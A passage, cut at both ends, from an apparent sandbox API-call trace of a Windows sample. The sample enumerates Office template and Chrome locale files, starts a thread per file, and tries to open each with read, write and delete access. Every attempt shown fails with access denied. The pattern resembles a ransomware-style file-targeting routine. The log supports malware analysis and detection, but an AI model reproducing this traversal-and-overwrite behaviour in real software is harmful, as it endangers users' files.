(in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc0 [0145.748] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1 [0145.748] wcscmp (_String1="Part", _String2=".") returned 1 [0145.748] wcscmp (_String1="Part", _String2="..") returned 1 [0145.748] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x8f7f88 [0145.748] wcscpy (in: _Dest=0x8f7f88, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0145.748] wcscat (in: _Dest=0x8f7f88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0145.748] wcscat (in: _Dest=0x8f7f88, _Source="Part" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" [0145.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f7f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc4 [0145.753] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bbcc000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bbcc000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x15cc78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects.accdt", cAlternateFileName="PROJEC~1.ACC")) returned 1 [0145.753] wcscmp (_String1="Projects.accdt", _String2=".") returned 1 [0145.754] wcscmp (_String1="Projects.accdt", _String2="..") returned 1 [0145.754] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ac4c8 [0145.754] wcscpy (in: _Dest=0x9ac4c8, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0145.754] wcscat (in: _Dest=0x9ac4c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0145.754] wcscat (in: _Dest=0x9ac4c8, _Source="Projects.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Projects.accdt" [0145.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac4c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc8 [0145.755] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6138700, ftCreationTime.dwHighDateTime=0x1c6ea89, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6138700, ftLastWriteTime.dwHighDateTime=0x1c6ea89, nFileSizeHigh=0x0, nFileSizeLow=0xf8196, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sales Pipeline.accdt", cAlternateFileName="SALESP~1.ACC")) returned 1 [0145.755] wcscmp (_String1="Sales Pipeline.accdt", _String2=".") returned 1 [0145.755] wcscmp (_String1="Sales Pipeline.accdt", _String2="..") returned 1 [0145.755] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x934d08 [0145.755] wcscpy (in: _Dest=0x934d08, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0145.755] wcscat (in: _Dest=0x934d08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0145.755] wcscat (in: _Dest=0x934d08, _Source="Sales Pipeline.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Sales Pipeline.accdt" [0145.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934d08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfcc [0145.756] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8694e00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8694e00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x7d017, dwReserved0=0x0, dwReserved1=0x0, cFileName="Students.accdt", cAlternateFileName="STUDEN~1.ACC")) returned 1 [0145.756] wcscmp (_String1="Students.accdt", _String2=".") returned 1 [0145.756] wcscmp (_String1="Students.accdt", _String2="..") returned 1 [0145.756] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8e) returned 0x9ac430 [0145.756] wcscpy (in: _Dest=0x9ac430, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0145.756] wcscat (in: _Dest=0x9ac430, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0145.756] wcscat (in: _Dest=0x9ac430, _Source="Students.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Students.accdt" [0145.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd0 [0145.758] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2e0200, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed2e0200, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x84e69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tasks.accdt", cAlternateFileName="TASKS~1.ACC")) returned 1 [0145.758] wcscmp (_String1="Tasks.accdt", _String2=".") returned 1 [0145.758] wcscmp (_String1="Tasks.accdt", _String2="..") returned 1 [0145.758] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e79e8 [0145.758] wcscpy (in: _Dest=0x8e79e8, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0145.758] wcscat (in: _Dest=0x8e79e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0145.758] wcscat (in: _Dest=0x8e79e8, _Source="Tasks.accdt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Tasks.accdt" [0145.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e79e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd4 [0145.759] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 1 [0145.759] wcscmp (_String1="WSS", _String2=".") returned 1 [0145.759] wcscmp (_String1="WSS", _String2="..") returned 1 [0145.759] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x99dd88 [0145.759] wcscpy (in: _Dest=0x99dd88, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" [0145.759] wcscat (in: _Dest=0x99dd88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\" [0145.759] wcscat (in: _Dest=0x99dd88, _Source="WSS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS" [0145.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x99dd88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd8 [0145.760] FindNextFileW (in: hFindFile=0x942c70, lpFindFileData=0x9bdb90 | out: lpFindFileData=0x9bdb90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 0 [0145.760] FindClose (in: hFindFile=0x942c70 | out: hFindFile=0x942c70) returned 1 [0145.761] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bdb90) returned 1 [0145.761] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99e408) returned 1 [0145.761] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e90e8) returned 1 Thread: id = 2227 os_tid = 0xf54 [0143.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx")) returned 0x20 [0143.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx", dwFileAttributes=0x20) returned 0 [0143.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0143.599] GetLastError () returned 0x5 [0143.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyLetter.dotx", dwFileAttributes=0x20) returned 0 [0143.600] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab000) returned 1 Thread: id = 2228 os_tid = 0xf58 [0143.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx")) returned 0x20 [0143.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx", dwFileAttributes=0x20) returned 0 [0143.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0143.601] GetLastError () returned 0x5 [0143.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx", dwFileAttributes=0x20) returned 0 [0143.601] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad028) returned 1 Thread: id = 2229 os_tid = 0xf5c [0143.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx")) returned 0x20 [0146.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx", dwFileAttributes=0x20) returned 0 [0146.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.729] GetLastError () returned 0x5 [0146.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx", dwFileAttributes=0x20) returned 0 [0146.729] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab098) returned 1 Thread: id = 2230 os_tid = 0xf60 [0143.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx")) returned 0x20 [0146.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx", dwFileAttributes=0x20) returned 0 [0146.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.730] GetLastError () returned 0x5 [0146.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx", dwFileAttributes=0x20) returned 0 [0146.730] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab130) returned 1 Thread: id = 2231 os_tid = 0xf64 [0143.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr1.xlt")) returned 0x20 [0146.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT", dwFileAttributes=0x20) returned 0 [0146.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr1.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.746] GetLastError () returned 0x5 [0146.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR1.XLT", dwFileAttributes=0x20) returned 0 [0146.746] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99df08) returned 1 Thread: id = 2232 os_tid = 0xf68 [0143.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr10.xlt")) returned 0x20 [0144.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT", dwFileAttributes=0x20) returned 0 [0144.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr10.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0144.993] GetLastError () returned 0x5 [0144.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR10.XLT", dwFileAttributes=0x20) returned 0 [0144.993] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99df88) returned 1 Thread: id = 2233 os_tid = 0xf6c [0143.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr2.xlt")) returned 0x20 [0146.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT", dwFileAttributes=0x20) returned 0 [0146.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr2.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.747] GetLastError () returned 0x5 [0146.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT", dwFileAttributes=0x20) returned 0 [0146.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99e008) returned 1 Thread: id = 2234 os_tid = 0xf70 [0143.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr3.xlt")) returned 0x20 [0146.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT", dwFileAttributes=0x20) returned 0 [0146.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr3.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.744] GetLastError () returned 0x5 [0146.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT", dwFileAttributes=0x20) returned 0 [0146.745] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99e088) returned 1 Thread: id = 2235 os_tid = 0xf74 [0143.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr4.xlt")) returned 0x20 [0146.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT", dwFileAttributes=0x20) returned 0 [0146.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr4.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.743] GetLastError () returned 0x5 [0146.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR4.XLT", dwFileAttributes=0x20) returned 0 [0146.743] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99e108) returned 1 Thread: id = 2245 os_tid = 0xf9c [0143.982] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\am.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\am.pak")) returned 0x20 [0143.982] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\am.pak", dwFileAttributes=0x20) returned 0 [0143.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\am.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\am.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0143.983] GetLastError () returned 0x5 [0143.983] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\am.pak", dwFileAttributes=0x20) returned 0 [0143.983] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934b10) returned 1 Thread: id = 2246 os_tid = 0xfa0 [0143.984] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ar.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ar.pak")) returned 0x20 [0143.984] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ar.pak", dwFileAttributes=0x20) returned 0 [0143.984] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ar.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ar.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0143.984] GetLastError () returned 0x5 [0143.984] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ar.pak", dwFileAttributes=0x20) returned 0 [0143.984] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x933df0) returned 1 Thread: id = 2247 os_tid = 0xfa4 [0143.985] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bg.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bg.pak")) returned 0x20 [0143.985] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bg.pak", dwFileAttributes=0x20) returned 0 [0143.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bg.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bg.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0143.985] GetLastError () returned 0x5 [0143.985] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bg.pak", dwFileAttributes=0x20) returned 0 [0143.986] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x933e98) returned 1 Thread: id = 2248 os_tid = 0xfa8 [0143.987] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bn.pak")) returned 0x20 [0145.100] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bn.pak", dwFileAttributes=0x20) returned 0 [0145.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\bn.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.100] GetLastError () returned 0x5 [0145.100] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\bn.pak", dwFileAttributes=0x20) returned 0 [0145.100] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934720) returned 1 Thread: id = 2249 os_tid = 0xfac [0143.987] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ca.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ca.pak")) returned 0x20 [0145.101] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ca.pak", dwFileAttributes=0x20) returned 0 [0145.101] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ca.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ca.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.101] GetLastError () returned 0x5 [0145.101] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ca.pak", dwFileAttributes=0x20) returned 0 [0145.101] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9347c8) returned 1 Thread: id = 2250 os_tid = 0xfb0 [0143.988] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\cs.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\cs.pak")) returned 0x20 [0145.102] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\cs.pak", dwFileAttributes=0x20) returned 0 [0145.102] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\cs.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\cs.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.102] GetLastError () returned 0x5 [0145.102] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\cs.pak", dwFileAttributes=0x20) returned 0 [0145.102] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934870) returned 1 Thread: id = 2251 os_tid = 0xfb4 [0143.988] GetFileAttributesW (lpFileName="C:\\Program Files 